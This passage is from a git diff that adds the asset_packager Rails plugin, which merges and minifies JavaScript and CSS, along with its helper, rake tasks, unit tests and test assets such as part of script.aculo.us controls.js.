($theA != EOF) + case $theA + when " " + if (isAlphanum($theB)) + action(1) + else + action(2) + end + when "\n" + case ($theB) + when "{","[","(","+","-" + action(1) + when " " + action(3) + else + if (isAlphanum($theB)) + action(1) + else + action(2) + end + end + else + case ($theB) + when " " + if (isAlphanum($theA)) + action(1) + else + action(3) + end + when "\n" + case ($theA) + when "}","]",")","+","-","\"","\\", "'", '"' + action(1) + else + if (isAlphanum($theA)) + action(1) + else + action(3) + end + end + else + action(1) + end + end + end +end + +ARGV.each do |anArg| + $stdout.write "// #{anArg}\n" +end + +jsmin \ No newline at end of file diff --git a/vendor/plugins/asset_packager/lib/synthesis/asset_package.rb b/vendor/plugins/asset_packager/lib/synthesis/asset_package.rb new file mode 100644 index 0000000..fe884e6 --- /dev/null +++ b/vendor/plugins/asset_packager/lib/synthesis/asset_package.rb @@ -0,0 +1,235 @@ +module Synthesis + class AssetPackage + + # class variables + @@asset_packages_yml = $asset_packages_yml || + (File.exists?("#{RAILS_ROOT}/config/asset_packages.yml") ? YAML.load_file("#{RAILS_ROOT}/config/asset_packages.yml") : nil) + + # singleton methods + class << self + + def merge_environments=(environments) + @@merge_environments = environments + end + + def merge_environments + @@merge_environments ||= ["production"] + end + + def parse_path(path) + /^(?:(.*)\/)?([^\/]+)$/.match(path).to_a + end + + def find_by_type(asset_type) + @@asset_packages_yml[asset_type].map { |p| self.new(asset_type, p) } + end + + def find_by_target(asset_type, target) + package_hash = @@asset_packages_yml[asset_type].find {|p| p.keys.first == target } + package_hash ? self.new(asset_type, package_hash) : nil + end + + def find_by_source(asset_type, source) + path_parts = parse_path(source) + package_hash = @@asset_packages_yml[asset_type].find do |p| + key = p.keys.first + p[key].include?(path_parts[2]) && (parse_path(key)[1] == path_parts[1]) + end + package_hash ? self.new(asset_type, package_hash) : nil + end + + def targets_from_sources(asset_type, sources) + package_names = Array.new + sources.each do |source| + package = find_by_target(asset_type, source) || find_by_source(asset_type, source) + package_names << (package ? package.current_file : source) + end + package_names.uniq + end + + def sources_from_targets(asset_type, targets) + source_names = Array.new + targets.each do |target| + package = find_by_target(asset_type, target) + source_names += (package ? package.sources.collect do |src| + package.target_dir.gsub(/^(.+)$/, '\1/') + src + end : target.to_a) + end + source_names.uniq + end + + def build_all + @@asset_packages_yml.keys.each do |asset_type| + @@asset_packages_yml[asset_type].each { |p| self.new(asset_type, p).build } + end + end + + def delete_all + @@asset_packages_yml.keys.each do |asset_type| + @@asset_packages_yml[asset_type].each { |p| self.new(asset_type, p).delete_all_builds } + end + end + + def create_yml + unless File.exists?("#{RAILS_ROOT}/config/asset_packages.yml") + asset_yml = Hash.new + + asset_yml['javascripts'] = [{"base" => build_file_list("#{RAILS_ROOT}/public/javascripts", "js")}] + asset_yml['stylesheets'] = [{"base" => build_file_list("#{RAILS_ROOT}/public/stylesheets", "css")}] + + File.open("#{RAILS_ROOT}/config/asset_packages.yml", "w") do |out| + YAML.dump(asset_yml, out) + end + + log "config/asset_packages.yml example file created!" + log "Please reorder files under 'base' so dependencies are loaded in correct order." + else + log "config/asset_packages.yml already exists. Aborting task..." + end + end + + end + + # instance methods + attr_accessor :asset_type, :target, :target_dir, :sources + + def initialize(asset_type, package_hash) + target_parts = self.class.parse_path(package_hash.keys.first) + @target_dir = target_parts[1].to_s + @target = target_parts[2].to_s + @sources = package_hash[package_hash.keys.first] + @asset_type = asset_type + @asset_path = ($asset_base_path ? "#{$asset_base_path}/" : "#{RAILS_ROOT}/public/") + + "#{@asset_type}#{@target_dir.gsub(/^(.+)$/, '/\1')}" + @extension = get_extension + @match_regex = Regexp.new("\\A#{@target}_\\d+.#{@extension}\\z") + end + + def current_file + @target_dir.gsub(/^(.+)$/, '\1/') + + Dir.new(@asset_path).entries.delete_if { |x| ! (x =~ @match_regex) }.sort.reverse[0].chomp(".#{@extension}") + end + + def build + delete_old_builds + create_new_build + end + + def delete_old_builds + Dir.new(@asset_path).entries.delete_if { |x| ! (x =~ @match_regex) }.each do |x| + File.delete("#{@asset_path}/#{x}") unless x.index(revision.to_s) + end + end + + def delete_all_builds + Dir.new(@asset_path).entries.delete_if { |x| ! (x =~ @match_regex) }.each do |x| + File.delete("#{@asset_path}/#{x}") + end + end + + private + def revision + unless @revision + revisions = [1] + @sources.each do |source| + revisions << get_file_revision("#{@asset_path}/#{source}.#{@extension}") + end + @revision = revisions.max + end + @revision + end + + def get_file_revision(path) + if File.exists?(path) + begin + `svn info #{path}`[/Last Changed Rev: (.*?)\n/][/(\d+)/].to_i + rescue # use filename timestamp if not in subversion + File.mtime(path).to_i + end + else + 0 + end + end + + def create_new_build + if File.exists?("#{@asset_path}/#{@target}_#{revision}.#{@extension}") + log "Latest version already exists: #{@asset_path}/#{@target}_#{revision}.#{@extension}" + else + File.open("#{@asset_path}/#{@target}_#{revision}.#{@extension}", "w") {|f| f.write(compressed_file) } + log "Created #{@asset_path}/#{@target}_#{revision}.#{@extension}" + end + end + + def merged_file + merged_file = "" + @sources.each {|s| + File.open("#{@asset_path}/#{s}.#{@extension}", "r") { |f| + merged_file += f.read + "\n" + } + } + merged_file + end + + def compressed_file + case @asset_type + when "javascripts" then compress_js(merged_file) + when "stylesheets" then compress_css(merged_file) + end + end + + def compress_js(source) + jsmin_path = "#{RAILS_ROOT}/vendor/plugins/asset_packager/lib" + tmp_path = "#{RAILS_ROOT}/tmp/#{@target}_#{revision}" + + # write out to a temp file + File.open("#{tmp_path}_uncompressed.js", "w") {|f| f.write(source) } + + # compress file with JSMin library + `ruby #{jsmin_path}/jsmin.rb <#{tmp_path}_uncompressed.js >#{tmp_path}_compressed.js \n` + + # read it back in and trim it + result = "" + File.open("#{tmp_path}_compressed.js", "r") { |f| result += f.read.strip } + + # delete temp files if they exist + File.delete("#{tmp_path}_uncompressed.js") if File.exists?("#{tmp_path}_uncompressed.js") + File.delete("#{tmp_path}_compressed.js") if File.exists?("#{tmp_path}_compressed.js") + + result + end + + def compress_css(source) + source.gsub!(/\s+/, " ") # collapse space + source.gsub!(/\/\*(.*?)\*\/ /, "") # remove comments - caution, might want to remove this if using css hacks + source.gsub!(/\} /, "}\n") # add line breaks + source.gsub!(/\n$/, "") # remove last break + source.gsub!(/ \{ /, " {") # trim inside brackets + source.gsub!(/; \}/, "}") # trim inside brackets + source + end + + def get_extension + case @asset_type + when "javascripts" then "js" + when "stylesheets" then "css" + end + end + + def log(message) + self.class.log(message) + end + + def self.log(message) + puts message + end + + def self.build_file_list(path, extension) + re = Regexp.new(".#{extension}\\z") + file_list = Dir.new(path).entries.delete_if { |x| ! (x =~ re) }.map {|x| x.chomp(".#{extension}")} + # reverse javascript entries so prototype comes first on a base rails app + file_list.reverse! if extension == "js" + file_list + end + + end +end diff --git a/vendor/plugins/asset_packager/lib/synthesis/asset_package_helper.rb b/vendor/plugins/asset_packager/lib/synthesis/asset_package_helper.rb new file mode 100644 index 0000000..31d0958 --- /dev/null +++ b/vendor/plugins/asset_packager/lib/synthesis/asset_package_helper.rb @@ -0,0 +1,67 @@ +module Synthesis + module AssetPackageHelper + + def should_merge? + AssetPackage.merge_environments.include?(RAILS_ENV) + end + + def javascript_include_merged(*sources) + options = sources.last.is_a?(Hash) ? sources.pop.stringify_keys : { } + + if sources.include?(:defaults) + sources = sources[0..(sources.index(:defaults))] + + ['prototype', 'effects', 'dragdrop', 'controls'] + + (File.exists?("#{RAILS_ROOT}/public/javascripts/application.js") ? ['application'] : []) + + sources[(sources.index(:defaults) + 1)..sources.length] + sources.delete(:defaults) + end + + sources.collect!{|s| s.to_s} + sources = (should_merge? ? + AssetPackage.targets_from_sources("javascripts", sources) : + AssetPackage.sources_from_targets("javascripts", sources)) + + sources.collect {|source| javascript_include_tag(source, options) }.join("\n") + end + + def stylesheet_link_merged(*sources) + options = sources.last.is_a?(Hash) ? sources.pop.stringify_keys : { } + + sources.collect!{|s| s.to_s} + sources = (should_merge? ? + AssetPackage.targets_from_sources("stylesheets", sources) : + AssetPackage.sources_from_targets("stylesheets", sources)) + + sources.collect { |source| + source = stylesheet_path(source) + tag("link", { "rel" => "Stylesheet", "type" => "text/css", "media" => "screen", "href" => source }.merge(options)) + }.join("\n") + end + + private + # rewrite compute_public_path to allow us to not include the query string timestamp + # used by ActionView::Helpers::AssetTagHelper + def compute_public_path(source, dir, ext=nil, add_asset_id=true) + source = source.dup + source << ".#{ext}" if File.extname(source).blank? && ext + unless source =~ %r{^[-a-z]+://} + source = "/#{dir}/#{source}" unless source[0] == ?/ + asset_id = rails_asset_id(source) + source << '?' + asset_id if defined?(RAILS_ROOT) and add_asset_id and not asset_id.blank? + source = "#{ActionController::Base.asset_host}#{@controller.request.relative_url_root}#{source}" + end + source + end + + # rewrite javascript path function to not include query string timestamp + def javascript_path(source) + compute_public_path(source, 'javascripts', 'js', false) + end + + # rewrite stylesheet path function to not include query string timestamp + def stylesheet_path(source) + compute_public_path(source, 'stylesheets', 'css', false) + end + + end +end \ No newline at end of file diff --git a/vendor/plugins/asset_packager/tasks/asset_packager_tasks.rake b/vendor/plugins/asset_packager/tasks/asset_packager_tasks.rake new file mode 100644 index 0000000..602fcc6 --- /dev/null +++ b/vendor/plugins/asset_packager/tasks/asset_packager_tasks.rake @@ -0,0 +1,23 @@ +require 'yaml' +require File.dirname(__FILE__) + '/../lib/synthesis/asset_package' + +namespace :asset do + namespace :packager do + + desc "Merge and compress assets" + task :build_all do + Synthesis::AssetPackage.build_all + end + + desc "Delete all asset builds" + task :delete_all do + Synthesis::AssetPackage.delete_all + end + + desc "Generate asset_packages.yml from existing assets" + task :create_yml do + Synthesis::AssetPackage.create_yml + end + + end +end diff --git a/vendor/plugins/asset_packager/test/asset_package_helper_development_test.rb b/vendor/plugins/asset_packager/test/asset_package_helper_development_test.rb new file mode 100644 index 0000000..eb3f74f --- /dev/null +++ b/vendor/plugins/asset_packager/test/asset_package_helper_development_test.rb @@ -0,0 +1,107 @@ +$:.unshift(File.dirname(__FILE__) + '/../lib') + +ENV['RAILS_ENV'] = "development" +require File.dirname(__FILE__) + '/../../../../config/environment' +require 'test/unit' +require 'rubygems' +require 'mocha' + +require 'action_controller/test_process' + +ActionController::Base.logger = nil +ActionController::Base.ignore_missing_templates = false +ActionController::Routing::Routes.reload rescue nil + +$asset_packages_yml = YAML.load_file("#{RAILS_ROOT}/vendor/plugins/asset_packager/test/asset_packages.yml") +$asset_base_path = "#{RAILS_ROOT}/vendor/plugins/asset_packager/test/assets" + +class AssetPackageHelperProductionTest < Test::Unit::TestCase + include ActionView::Helpers::TagHelper + include ActionView::Helpers::AssetTagHelper + include Synthesis::AssetPackageHelper + + def setup + Synthesis::AssetPackage.any_instance.stubs(:log) + + @controller = Class.new do + attr_reader :request + def initialize + @request = Class.new do + def relative_url_root + "" + end + end.new + end + + end.new + end + + def build_js_expected_string(*sources) + sources.map {|s| %() }.join("\n") + end + + def build_css_expected_string(*sources) + sources.map {|s| %() }.join("\n") + end + + def test_js_basic + assert_dom_equal build_js_expected_string("prototype"), + javascript_include_merged("prototype") + end + + def test_js_multiple_packages + assert_dom_equal build_js_expected_string("prototype", "foo"), + javascript_include_merged("prototype", "foo") + end + + def test_js_unpackaged_file + assert_dom_equal build_js_expected_string("prototype", "foo", "not_part_of_a_package"), + javascript_include_merged("prototype", "foo", "not_part_of_a_package") + end + + def test_js_multiple_from_same_package + assert_dom_equal build_js_expected_string("prototype", "effects", "controls", "not_part_of_a_package", "foo"), + javascript_include_merged("prototype", "effects", "controls", "not_part_of_a_package", "foo") + end + + def test_js_by_package_name + assert_dom_equal build_js_expected_string("prototype", "effects", "controls", "dragdrop"), + javascript_include_merged(:base) + end + + def test_js_multiple_package_names + assert_dom_equal build_js_expected_string("prototype", "effects", "controls", "dragdrop", "foo", "bar", "application"), + javascript_include_merged(:base, :secondary) + end + + def test_css_basic + assert_dom_equal build_css_expected_string("screen"), + stylesheet_link_merged("screen") + end + + def test_css_multiple_packages + assert_dom_equal build_css_expected_string("screen", "foo", "subdir/bar"), + stylesheet_link_merged("screen", "foo", "subdir/bar") + end + + def test_css_unpackaged_file + assert_dom_equal build_css_expected_string("screen", "foo", "not_part_of_a_package", "subdir/bar"), + stylesheet_link_merged("screen", "foo", "not_part_of_a_package", "subdir/bar") + end + + def test_css_multiple_from_same_package + assert_dom_equal build_css_expected_string("screen", "header", "not_part_of_a_package", "foo", "bar", "subdir/foo", "subdir/bar"), + stylesheet_link_merged("screen", "header", "not_part_of_a_package", "foo", "bar", "subdir/foo", "subdir/bar") + end + + def test_css_by_package_name + assert_dom_equal build_css_expected_string("screen", "header"), + stylesheet_link_merged(:base) + end + + def test_css_multiple_package_names + assert_dom_equal build_css_expected_string("screen", "header", "foo", "bar", "subdir/foo", "subdir/bar"), + stylesheet_link_merged(:base, :secondary, "subdir/styles") + end + +end diff --git a/vendor/plugins/asset_packager/test/asset_package_helper_production_test.rb b/vendor/plugins/asset_packager/test/asset_package_helper_production_test.rb new file mode 100644 index 0000000..511cbb3 --- /dev/null +++ b/vendor/plugins/asset_packager/test/asset_package_helper_production_test.rb @@ -0,0 +1,153 @@ +$:.unshift(File.dirname(__FILE__) + '/../lib') + +require File.dirname(__FILE__) + '/../../../../config/environment' +require 'test/unit' +require 'rubygems' +require 'mocha' + +require 'action_controller/test_process' + +ActionController::Base.logger = nil +ActionController::Base.ignore_missing_templates = false +ActionController::Routing::Routes.reload rescue nil + +$asset_packages_yml = YAML.load_file("#{RAILS_ROOT}/vendor/plugins/asset_packager/test/asset_packages.yml") +$asset_base_path = "#{RAILS_ROOT}/vendor/plugins/asset_packager/test/assets" + +class AssetPackageHelperProductionTest < Test::Unit::TestCase + include ActionView::Helpers::TagHelper + include ActionView::Helpers::AssetTagHelper + include Synthesis::AssetPackageHelper + + cattr_accessor :packages_built + + def setup + Synthesis::AssetPackage.any_instance.stubs(:log) + self.stubs(:should_merge?).returns(true) + + @controller = Class.new do + + attr_reader :request + def initialize + @request = Class.new do + def relative_url_root + "" + end + end.new + end + + end.new + + build_packages_once + end + + def build_packages_once + unless @@packages_built + Synthesis::AssetPackage.build_all + @@packages_built = true + end + end + + def build_js_expected_string(*sources) + sources.map {|s| %() }.join("\n") + end + + def build_css_expected_string(*sources) + sources.map {|s| %() }.join("\n") + end + + def test_js_basic + current_file = Synthesis::AssetPackage.find_by_source("javascripts", "prototype").current_file + assert_dom_equal build_js_expected_string(current_file), + javascript_include_merged("prototype") + end + + def test_js_multiple_packages + current_file1 = Synthesis::AssetPackage.find_by_source("javascripts", "prototype").current_file + current_file2 = Synthesis::AssetPackage.find_by_source("javascripts", "foo").current_file + + assert_dom_equal build_js_expected_string(current_file1, current_file2), + javascript_include_merged("prototype", "foo") + end + + def test_js_unpackaged_file + current_file1 = Synthesis::AssetPackage.find_by_source("javascripts", "prototype").current_file + current_file2 = Synthesis::AssetPackage.find_by_source("javascripts", "foo").current_file + + assert_dom_equal build_js_expected_string(current_file1, current_file2, "not_part_of_a_package"), + javascript_include_merged("prototype", "foo", "not_part_of_a_package") + end + + def test_js_multiple_from_same_package + current_file1 = Synthesis::AssetPackage.find_by_source("javascripts", "prototype").current_file + current_file2 = Synthesis::AssetPackage.find_by_source("javascripts", "foo").current_file + + assert_dom_equal build_js_expected_string(current_file1, "not_part_of_a_package", current_file2), + javascript_include_merged("prototype", "effects", "controls", "not_part_of_a_package", "foo") + end + + def test_js_by_package_name + package_name = Synthesis::AssetPackage.find_by_target("javascripts", "base").current_file + assert_dom_equal build_js_expected_string(package_name), + javascript_include_merged(:base) + end + + def test_js_multiple_package_names + package_name1 = Synthesis::AssetPackage.find_by_target("javascripts", "base").current_file + package_name2 = Synthesis::AssetPackage.find_by_target("javascripts", "secondary").current_file + assert_dom_equal build_js_expected_string(package_name1, package_name2), + javascript_include_merged(:base, :secondary) + end + + def test_css_basic + current_file = Synthesis::AssetPackage.find_by_source("stylesheets", "screen").current_file + assert_dom_equal build_css_expected_string(current_file), + stylesheet_link_merged("screen") + end + + def test_css_multiple_packages + current_file1 = Synthesis::AssetPackage.find_by_source("stylesheets", "screen").current_file + current_file2 = Synthesis::AssetPackage.find_by_source("stylesheets", "foo").current_file + current_file3 = Synthesis::AssetPackage.find_by_source("stylesheets", "subdir/bar").current_file + + assert_dom_equal build_css_expected_string(current_file1, current_file2, current_file3), + stylesheet_link_merged("screen", "foo", "subdir/bar") + end + + def test_css_unpackaged_file + current_file1 = Synthesis::AssetPackage.find_by_source("stylesheets", "screen").current_file + current_file2 = Synthesis::AssetPackage.find_by_source("stylesheets", "foo").current_file + + assert_dom_equal build_css_expected_string(current_file1, current_file2, "not_part_of_a_package"), + stylesheet_link_merged("screen", "foo", "not_part_of_a_package") + end + + def test_css_multiple_from_same_package + current_file1 = Synthesis::AssetPackage.find_by_source("stylesheets", "screen").current_file + current_file2 = Synthesis::AssetPackage.find_by_source("stylesheets", "foo").current_file + current_file3 = Synthesis::AssetPackage.find_by_source("stylesheets", "subdir/bar").current_file + + assert_dom_equal build_css_expected_string(current_file1, "not_part_of_a_package", current_file2, current_file3), + stylesheet_link_merged("screen", "header", "not_part_of_a_package", "foo", "bar", "subdir/foo", "subdir/bar") + end + + def test_css_by_package_name + package_name = Synthesis::AssetPackage.find_by_target("stylesheets", "base").current_file + assert_dom_equal build_css_expected_string(package_name), + stylesheet_link_merged(:base) + end + + def test_css_multiple_package_names + package_name1 = Synthesis::AssetPackage.find_by_target("stylesheets", "base").current_file + package_name2 = Synthesis::AssetPackage.find_by_target("stylesheets", "secondary").current_file + package_name3 = Synthesis::AssetPackage.find_by_target("stylesheets", "subdir/styles").current_file + assert_dom_equal build_css_expected_string(package_name1, package_name2, package_name3), + stylesheet_link_merged(:base, :secondary, "subdir/styles") + end + + def test_image_tag + timestamp = rails_asset_id("images/rails.png") + assert_dom_equal %(Rails), image_tag("rails") + end + +end diff --git a/vendor/plugins/asset_packager/test/asset_packager_test.rb b/vendor/plugins/asset_packager/test/asset_packager_test.rb new file mode 100644 index 0000000..e69df8a --- /dev/null +++ b/vendor/plugins/asset_packager/test/asset_packager_test.rb @@ -0,0 +1,92 @@ +require File.dirname(__FILE__) + '/../../../../config/environment' +require 'test/unit' +require 'mocha' + +$asset_packages_yml = YAML.load_file("#{RAILS_ROOT}/vendor/plugins/asset_packager/test/asset_packages.yml") +$asset_base_path = "#{RAILS_ROOT}/vendor/plugins/asset_packager/test/assets" + +class AssetPackagerTest < Test::Unit::TestCase + include Synthesis + + def setup + Synthesis::AssetPackage.any_instance.stubs(:log) + Synthesis::AssetPackage.build_all + end + + def teardown + Synthesis::AssetPackage.delete_all + end + + def test_find_by_type + js_asset_packages = Synthesis::AssetPackage.find_by_type("javascripts") + assert_equal 2, js_asset_packages.length + assert_equal "base", js_asset_packages[0].target + assert_equal ["prototype", "effects", "controls", "dragdrop"], js_asset_packages[0].sources + end + + def test_find_by_target + package = Synthesis::AssetPackage.find_by_target("javascripts", "base") + assert_equal "base", package.target + assert_equal ["prototype", "effects", "controls", "dragdrop"], package.sources + end + + def test_find_by_source + package = Synthesis::AssetPackage.find_by_source("javascripts", "controls") + assert_equal "base", package.target + assert_equal ["prototype", "effects", "controls", "dragdrop"], package.sources + end + + def test_delete_and_build + Synthesis::AssetPackage.delete_all + js_package_names = Dir.new("#{$asset_base_path}/javascripts").entries.delete_if { |x| ! (x =~ /\A\w+_\d+.js/) } + css_package_names = Dir.new("#{$asset_base_path}/stylesheets").entries.delete_if { |x| ! (x =~ /\A\w+_\d+.css/) } + css_subdir_package_names = Dir.new("#{$asset_base_path}/stylesheets/subdir").entries.delete_if { |x| ! (x =~ /\A\w+_\d+.css/) } + + assert_equal 0, js_package_names.length + assert_equal 0, css_package_names.length + assert_equal 0, css_subdir_package_names.length + + Synthesis::AssetPackage.build_all + js_package_names = Dir.new("#{$asset_base_path}/javascripts").entries.delete_if { |x| ! (x =~ /\A\w+_\d+.js/) }.sort + css_package_names = Dir.new("#{$asset_base_path}/stylesheets").entries.delete_if { |x| ! (x =~ /\A\w+_\d+.css/) }.sort + css_subdir_package_names = Dir.new("#{$asset_base_path}/stylesheets/subdir").entries.delete_if { |x| ! (x =~ /\A\w+_\d+.css/) }.sort + + assert_equal 2, js_package_names.length + assert_equal 2, css_package_names.length + assert_equal 1, css_subdir_package_names.length + assert js_package_names[0].match(/\Abase_\d+.js\z/) + assert js_package_names[1].match(/\Asecondary_\d+.js\z/) + assert css_package_names[0].match(/\Abase_\d+.css\z/) + assert css_package_names[1].match(/\Asecondary_\d+.css\z/) + assert css_subdir_package_names[0].match(/\Astyles_\d+.css\z/) + end + + def test_js_names_from_sources + package_names = Synthesis::AssetPackage.targets_from_sources("javascripts", ["prototype", "effects", "noexist1", "controls", "foo", "noexist2"]) + assert_equal 4, package_names.length + assert package_names[0].match(/\Abase_\d+\z/) + assert_equal package_names[1], "noexist1" + assert package_names[2].match(/\Asecondary_\d+\z/) + assert_equal package_names[3], "noexist2" + end + + def test_css_names_from_sources + package_names = Synthesis::AssetPackage.targets_from_sources("stylesheets", ["header", "screen", "noexist1", "foo", "noexist2"]) + assert_equal 4, package_names.length + assert package_names[0].match(/\Abase_\d+\z/) + assert_equal package_names[1], "noexist1" + assert package_names[2].match(/\Asecondary_\d+\z/) + assert_equal package_names[3], "noexist2" + end + + def test_should_return_merge_environments_when_set + Synthesis::AssetPackage.merge_environments = ["staging", "production"] + assert_equal ["staging", "production"], Synthesis::AssetPackage.merge_environments + end + + def test_should_only_return_production_merge_environment_when_not_set + assert_equal ["production"], Synthesis::AssetPackage.merge_environments + end + + +end diff --git a/vendor/plugins/asset_packager/test/asset_packages.yml b/vendor/plugins/asset_packager/test/asset_packages.yml new file mode 100644 index 0000000..37287bd --- /dev/null +++ b/vendor/plugins/asset_packager/test/asset_packages.yml @@ -0,0 +1,20 @@ +javascripts: +- base: + - prototype + - effects + - controls + - dragdrop +- secondary: + - foo + - bar + - application +stylesheets: +- base: + - screen + - header +- secondary: + - foo + - bar +- subdir/styles: + - foo + - bar diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/application.js b/vendor/plugins/asset_packager/test/assets/javascripts/application.js new file mode 100644 index 0000000..fe45776 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/application.js @@ -0,0 +1,2 @@ +// Place your application-specific JavaScript functions and classes here +// This file is automatically included by javascript_include_tag :defaults diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/bar.js b/vendor/plugins/asset_packager/test/assets/javascripts/bar.js new file mode 100644 index 0000000..3a65f10 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/bar.js @@ -0,0 +1,4 @@ +bar bar bar +bar bar bar +bar bar bar + diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/controls.js b/vendor/plugins/asset_packager/test/assets/javascripts/controls.js new file mode 100644 index 0000000..de0261e --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/controls.js @@ -0,0 +1,815 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005 Ivan Krstic (http://blogs.law.harvard.edu/ivan) +// (c) 2005 Jon Tirsen (http://www.tirsen.com) +// Contributors: +// Richard Livsey +// Rahul Bhargava +// Rob Wills +// +// See scriptaculous.js for full license. + +// Autocompleter.Base handles all the autocompletion functionality +// that's independent of the data source for autocompletion. This +// includes drawing the autocompletion menu, observing keyboard +// and mouse events, and similar. +// +// Specific autocompleters need to provide, at the very least, +// a getUpdatedChoices function that will be invoked every time +// the text inside the monitored textbox changes. This method +// should get the text for which to provide autocompletion by +// invoking this.getToken(), NOT by directly accessing +// this.element.value. This is to allow incremental tokenized +// autocompletion. Specific auto-completion logic (AJAX, etc) +// belongs in getUpdatedChoices. +// +// Tokenized incremental autocompletion is enabled automatically +// when an autocompleter is instantiated with the 'tokens' option +// in the options parameter, e.g.: +// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); +// will incrementally autocomplete with a comma as the token. +// Additionally, ',' in the above example can be replaced with +// a token array, e.g. { tokens: [',', '\n'] } which +// enables autocompletion on multiple tokens. This is most +// useful when one of the tokens is \n (a newline), as it +// allows smart autocompletion after linebreaks. + +var Autocompleter = {} +Autocompleter.Base = function() {}; +Autocompleter.Base.prototype = { + baseInitialize: function(element, update, options) { + this.element = $(element); + this.update = $(update); + this.hasFocus = false; + this.changed = false; + this.active = false; + this.index = 0; + this.entryCount = 0; + + if (this.setOptions) + this.setOptions(options); + else + this.options = options || {}; + + this.options.paramName = this.options.paramName || this.element.name; + this.options.tokens = this.options.tokens || []; + this.options.frequency = this.options.frequency || 0.4; + this.options.minChars = this.options.minChars || 1; + this.options.onShow = this.options.onShow || + function(element, update){ + if(!update.style.position || update.style.position=='absolute') { + update.style.position = 'absolute'; + Position.clone(element, update, {setHeight: false, offsetTop: element.offsetHeight}); + } + Effect.Appear(update,{duration:0.15}); + }; + this.options.onHide = this.options.onHide || + function(element, update){ new Effect.Fade(update,{duration:0.15}) }; + + if (typeof(this.options.tokens) == 'string') + this.options.tokens = new Array(this.options.tokens); + + this.observer = null; + + this.element.setAttribute('autocomplete','off'); + + Element.hide(this.update); + + Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); + Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); + }, + + show: function() { + if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update); + if(!this.iefix && + (navigator.appVersion.indexOf('MSIE')>0) && + (navigator.userAgent.indexOf('Opera')<0) && + (Element.getStyle(this.update, 'position')=='absolute')) { + new Insertion.After(this.update, + ''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); + }, + + fixIEOverlapping: function() { + Position.clone(this.update, this.iefix); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + }, + + hide: function() { + this.stopIndicator(); + if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.options.indicator) Element.show(this.options.indicator); + }, + + stopIndicator: function() { + if(this.options.indicator) Element.hide(this.options.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.selectEntry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + Event.stop(event); + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.markPrevious(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + case Event.KEY_DOWN: + this.markNext(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || + (navigator.appVersion.indexOf('AppleWebKit') > 0 && event.keyCode == 0)) return; + + this.changed = true; + this.hasFocus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + activate: function() { + this.changed = false; + this.hasFocus = true; + this.getUpdatedChoices(); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.selectEntry(); + this.hide(); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.hasFocus = false; + this.active = false; + }, + + render: function() { + if(this.entryCount > 0) { + for (var i = 0; i < this.entryCount; i++) + this.index==i ? + Element.addClassName(this.getEntry(i),"selected") : + Element.removeClassName(this.getEntry(i),"selected"); + + if(this.hasFocus) { + this.show(); + this.active = true; + } + } else { + this.active = false; + this.hide(); + } + }, + + markPrevious: function() { + if(this.index > 0) this.index-- + else this.index = this.entryCount-1; + }, + + markNext: function() { + if(this.index < this.entryCount-1) this.index++ + else this.index = 0; + }, + + getEntry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + getCurrentEntry: function() { + return this.getEntry(this.index); + }, + + selectEntry: function() { + this.active = false; + this.updateElement(this.getCurrentEntry()); + }, + + updateElement: function(selectedElement) { + if (this.options.updateElement) { + this.options.updateElement(selectedElement); + return; + } + var value = ''; + if (this.options.select) { + var nodes = document.getElementsByClassName(this.options.select, selectedElement) || []; + if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select); + } else + value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); + + var lastTokenPos = this.findLastToken(); + if (lastTokenPos != -1) { + var newValue = this.element.value.substr(0, lastTokenPos + 1); + var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/); + if (whitespace) + newValue += whitespace[0]; + this.element.value = newValue + value; + } else { + this.element.value = value; + } + this.element.focus(); + + if (this.options.afterUpdateElement) + this.options.afterUpdateElement(this.element, selectedElement); + }, + + updateChoices: function(choices) { + if(!this.changed && this.hasFocus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.firstChild); + + if(this.update.firstChild && this.update.firstChild.childNodes) { + this.entryCount = + this.update.firstChild.childNodes.length; + for (var i = 0; i < this.entryCount; i++) { + var entry = this.getEntry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entryCount = 0; + } + + this.stopIndicator(); + + this.index = 0; + this.render(); + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + 